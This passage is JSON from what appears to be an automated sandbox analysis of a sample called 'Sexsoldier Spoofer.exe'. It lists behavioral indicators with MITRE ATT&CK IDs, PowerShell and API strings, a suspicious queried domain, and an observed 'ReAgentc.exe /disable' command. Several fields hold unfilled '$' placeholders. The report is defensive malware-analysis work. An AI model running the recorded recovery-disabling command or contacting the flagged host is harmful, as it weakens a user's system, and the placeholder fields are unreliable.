win32_computersystem\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains ability to add modules to the current session (Powershell command string)","description":"Found string \"Import-Module\" (Indicator: \"Import-Module\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-348","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains ability to call WMI method (Powershell command string)","description":"Found string \"Invoke-WMIMethod\" (Indicator: \"Invoke-WmiMethod\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-296","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; File: \"Sexsoldier Spoofer.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; File: \"Sexsoldier Spoofer.exe\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00002136.00000000.136196.00EE1000.00000002.mdmp, 00000000-00002136.00000000.136196.70865000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00002136.00000000.136196.00EE1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"WaitForSingleObjectEx@KERNEL32.DLL at 00000000-00002136-52215-133-00ED995D\n Sleep@KERNEL32.DLL at 00000000-00002136-52215-179-00ED9700","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00002136.00000000.136196.00EE1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: lsass.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: svchost.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: RPZ-HWID.exe)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryExW@KERNEL32.DLL at 00000000-00002136-52215-119-00EDE110\n LoadLibraryExW@KERNEL32.DLL at 00000000-00002136-52215-135-00EDDAD1\n LoadLibraryExW@KERNEL32.DLL at 00000000-00002136-52215-140-00EDD8B1\n LoadLibraryExW@KERNEL32.DLL at 00000000-00007728-53433-434-00FB97EA\n LoadLibraryExA@KERNEL32.DLL at 00000000-00007728-53433-461-00FBB1B6","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; File: \"Sexsoldier Spoofer.exe\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"CommandLineToArgvW\" (Indicator: \"CommandLineToArgv\"; File: \"Sexsoldier Spoofer.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"OpenThread\" (Indicator: \"OpenThread\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; File: \"Sexsoldier Spoofer.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains ability to run commands (Powershell command string)","description":"Found string \"Invoke-Command\" (Indicator: \"Invoke-Command\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-287","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains ability to run commands or expressions (Powershell command string)","description":"Found string \"Invoke-Expression\" (Indicator: \"Invoke-Expression\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-288","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains ability to set file attributes (Dotnet)","description":"Observed Namespace \"System.IO.FileSystemInfo\" and MemberReference \"set_Attributes\" in \"svchost.exe\"\n Observed Namespace \"System.IO.File\" and MemberReference \"SetAttributes\" in \"svchost.exe\"","origin":"Static Parser","mitre_attack_id":"T1222","relevance":1,"id":"static-155","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00002136.00000000.136196.00EE1000.00000002.mdmp, 00000000-00002136.00000000.136196.70865000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00002136.00000000.136196.00EE1000.00000002.mdmp, 00000000-00002136.00000000.136196.70865000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Dotnet)","description":"Observed function \"Process.Start\" in \"Sexsoldier Spoofer.exe\"\n Observed function \"Process.Start\" in \"svchost.exe\"\n Observed function \"Process.set_StartInfo\" in \"RPZ-HWID.dll\"\n Observed function \"Process.Start\" in \"RPZ-HWID.dll\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-111","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Powershell command string)","description":"Found string \"Start-Process\" (Indicator: \"Start-Process\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-250","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains ability to start services (Powershell command string)","description":"Found string \"Start-Service\" (Indicator: \"Start-Service\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-332","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"$3c","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Contains references to file movement (imports API)","description":"Found MoveFileExW in import section (Source: msedgeupdate.dll)\n Found MoveFileExW in import section (Source: psuser_64.dll)\n Found MoveFileExW in import section (Source: psmachine_64.dll)\n Found MoveFileExW in import section (Source: psmachine_arm64.dll)\n Found MoveFileExW in import section (Source: psuser_arm64.dll)\n Found MoveFileExW in import section (Source: psmachine.dll)\n Found MoveFileExW in import section (Source: psuser.dll)\n Found MoveFileExW in import section (Source: MicrosoftEdgeUpdateCore.exe)","origin":"Static Parser","mitre_attack_id":"T1083","relevance":1,"id":"static-205","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Copy files into temp folder","description":"\"MicrosoftEdgeWebview2Setup.exe\" copies %TEMP%\\MicrosoftEdgeWebview2Setup.exe to temp folder %PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\MicrosoftEdgeUpdateSetup.exe (UID: 00000000-00007060)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-268","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$3d","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Dotnet code contains ability to modify/delete registry","description":"Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"SetValue\" in \"svchost.exe\"\n Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"DeleteValue\" in \"svchost.exe\"\n Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"SetValue\" in \"RPZ-HWID.dll\"","origin":"Static Parser","mitre_attack_id":"T1112","relevance":1,"id":"static-139","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"$3e","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$3f","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"$40","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Found Native API in Dotnet file","description":"Observed unmanaged function \"SetFileAttributes\" in \"Sexsoldier Spoofer.exe\"\n Observed unmanaged function \"GetConsoleWindow\" in \"svchost.exe\"\n Observed unmanaged function \"ShowWindow\" in \"svchost.exe\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-101","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Found a reference to a known community page","description":"Found string \"px.ads.linkedin.com\" (Indicator: \"linkedin.com\"; File: \"PCAP\")","origin":"File/Memory","relevance":2,"id":"string-10","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134346621926234836.2136.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$41","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"GETs files from a web server (PE files)","description":"$42","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Launches a browser","description":"Launches browser \"msedge.exe\" (UID: 00000000-00002408)\n Launches browser \"msedge.exe\" (UID: 00000000-00005984)\n Launches browser \"msedge.exe\" (UID: 00000000-00003404)\n Launches browser \"msedge.exe\" (UID: 00000000-00003800)\n Launches browser \"msedge.exe\" (UID: 00000000-00003424)\n Launches browser \"msedge.exe\" (UID: 00000000-00007788)\n Launches browser \"msedge.exe\" (UID: 00000000-00004128)\n Launches browser \"msedge.exe\" (UID: 00000000-00007560)\n Launches browser \"msedge.exe\" (UID: 00000000-00004464)\n Launches browser \"msedge.exe\" (UID: 00000000-00007080)\n Launches browser \"msedge.exe\" (UID: 00000000-00004916)\n Launches browser \"msedge.exe\" (UID: 00000000-00006376)\n Launches browser \"msedge.exe\" (UID: 00000000-00005140)","origin":"Monitored Target","relevance":3,"id":"target-21","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$43","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"SexsoldierSpoofer.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at FA930000\n \"conhost.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 72770000\n \"svchost.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 72770000\n \"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 72770000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 70870000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"$44","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"SexsoldierSpoofer.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at FBF30000\n \"conhost.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 73C50000\n \"svchost.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 73C50000\n \"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 73C50000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"SexsoldierSpoofer.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 2C5B0000\n \"conhost.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 77650000\n \"RPZ-HWID.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 2C5B0000\n \"svchost.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 77650000\n \"ONENOTEM.EXE\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 77650000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 77650000\n \"ReAgentc.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 77650000\n \"svchost.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 2C5B0000\n \"MicrosoftEdgeWebview2Setup.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 77650000\n \"MicrosoftEdgeUpdate.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 77650000\n \"MicrosoftEdgeUpdateComRegisterShell64.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 2C5B0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"svchost.exe\" called \"WbemScripting.SWbemLocator.1.CreateObject\" ... \n \"svchost.exe\" called \"WbemScripting.SWbemLocator.1.ConnectServer\" with result: \"IDispatch\" ...\n \"svchost.exe\" called \"WbemScripting.SWbemLocator.1(\"ConnectServer\").ExecQuery\" with result: \"IDispatch\" ...\n \"svchost.exe\" called \"WbemScripting.SWbemLocator.1(\"ConnectServer\")(\"ExecQuery\").Count\" with result: \"1\" ...\n \"svchost.exe\" called \"WbemScripting.SWbemLocator.1(\"ConnectServer\")(\"ExecQuery\")._NewEnum\" with result: \"IDispatch\" ...\n \"svchost.exe\" called \"WbemScripting.SWbemLocator.1(\"ConnectServer\")(\"ExecQuery\").Count\" with result: \"2\" ...\n \"svchost.exe\" called \"Schedule.Service.1.CreateObject\" ... \n \"svchost.exe\" called \"Schedule.Service.1.Connect\" ... \n \"ONENOTEM.EXE\" called \"WbemScripting.SWbemLocator.1.CreateObject\" ... ","origin":"API Call","mitre_attack_id":"T1059","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000040c7162bfa7f0000@ntdll.dll\"\n \"220023000000000018c7162bfa7f0000@ntdll.dll\"\n \"19001a007702000040c7162bfa7f0000@ntdll.dll\"\n \"220023007702000018c7162bfa7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"$45","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"$46","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$47","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"PE file contains COM data directory","description":"\"Sexsoldier Spoofer.exe\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"\n \"svchost.exe\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"\n \"RPZ-HWID.dll\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","origin":"Static Parser","id":"static-144","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"$48","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"$49","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"PE file contains large number of import functions","description":"Observed large number of imported APIs from \"KERNEL32.dll\" : \"239\" [Source: msedgeupdate.dll]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-145","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"$4a","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$4b","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \"UPX1\" is \"0x36e200\" greater than 0x100000\n Raw size of \".text\" is \"0x16d000\" greater than 0x100000\n Raw size of \".text\" is \"0x227c00\" greater than 0x100000\n Raw size of \".wftqes\" is \"0x220600\" greater than 0x100000\n Raw size of \".rsrc\" is \"0x173600\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \"UPX0\" is \"0x8e7000\" greater than 0x100000\n Virtual size of \"UPX1\" is \"0x36f000\" greater than 0x100000\n Virtual size of \".text\" is \"0x16cf6a\" greater than 0x100000\n Virtual size of \".text\" is \"0x227a94\" greater than 0x100000\n Virtual size of \".wftqes\" is \"0x22051c\" greater than 0x100000\n Virtual size of \".rsrc\" is \"0x1735cc\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"svchost.exe\" has high imagebase \"0x140000000\"\n \"psuser_64.dll\" has high imagebase \"0x180000000\"\n \"psmachine_64.dll\" has high imagebase \"0x180000000\"\n \"psmachine_arm64.dll\" has high imagebase \"0x180000000\"\n \"psuser_arm64.dll\" has high imagebase \"0x180000000\"\n \"MicrosoftEdgeUpdateComRegisterShell64.exe\" has high imagebase \"0x140000000\"\n \"MicrosoftEdgeComRegisterShellARM64.exe\" has high imagebase \"0x140000000\"\n \"RPZ-HWID.exe\" has high imagebase \"0x140000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00005500-00000BC0-1117813164]\n Observed system executable string:\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00005500-00000C47-12148493131]\n Observed system executable string:\"\"%WINDIR%\\system32\\ReAgentc.exe\" /disable\" [Source: 00000000-00002136-00000C47-60192089937]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$4c","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"clients2.googleusercontent.com\"\n \"cloudflare-dns.com\"\n \"deff.nelreports.net\"\n \"edge-consumer-static.azureedge.net\"\n \"gitlab.com\"\n \"ib.adnxs.com\"\n \"m.adnxs.com\"\n \"px.ads.linkedin.com\"\n \"r.msftstatic.com\"\n \"sa1atik.cn\"\n \"sb.scorecardresearch.com\"\n \"trc.taboola.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$4d","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$4f","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$50","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$51","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"$52","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"SexsoldierSpoofer.exe\" writes to a file \"C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp\\59eef78126d8\\conhost.exe\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Installation/Persistence","name":"Able to establish persistence using Exchange transport agent (.NET)","description":"Found string \"shdocvw = s 'IAttachmentExecute'\" (Source: \"00000000-00002136.00000000.136196.70865000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1505.002","relevance":1,"id":"string-938","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create/modify Windows services (Powershell command string)","description":"$53","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-396","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create/update instances of WMI classes (Powershell command string)","description":"Found string \"Set-WMIInstance\" (Indicator: \"Set-WmiInstance\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1546.003","relevance":1,"id":"string-336","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"LoadLibraryExW\" 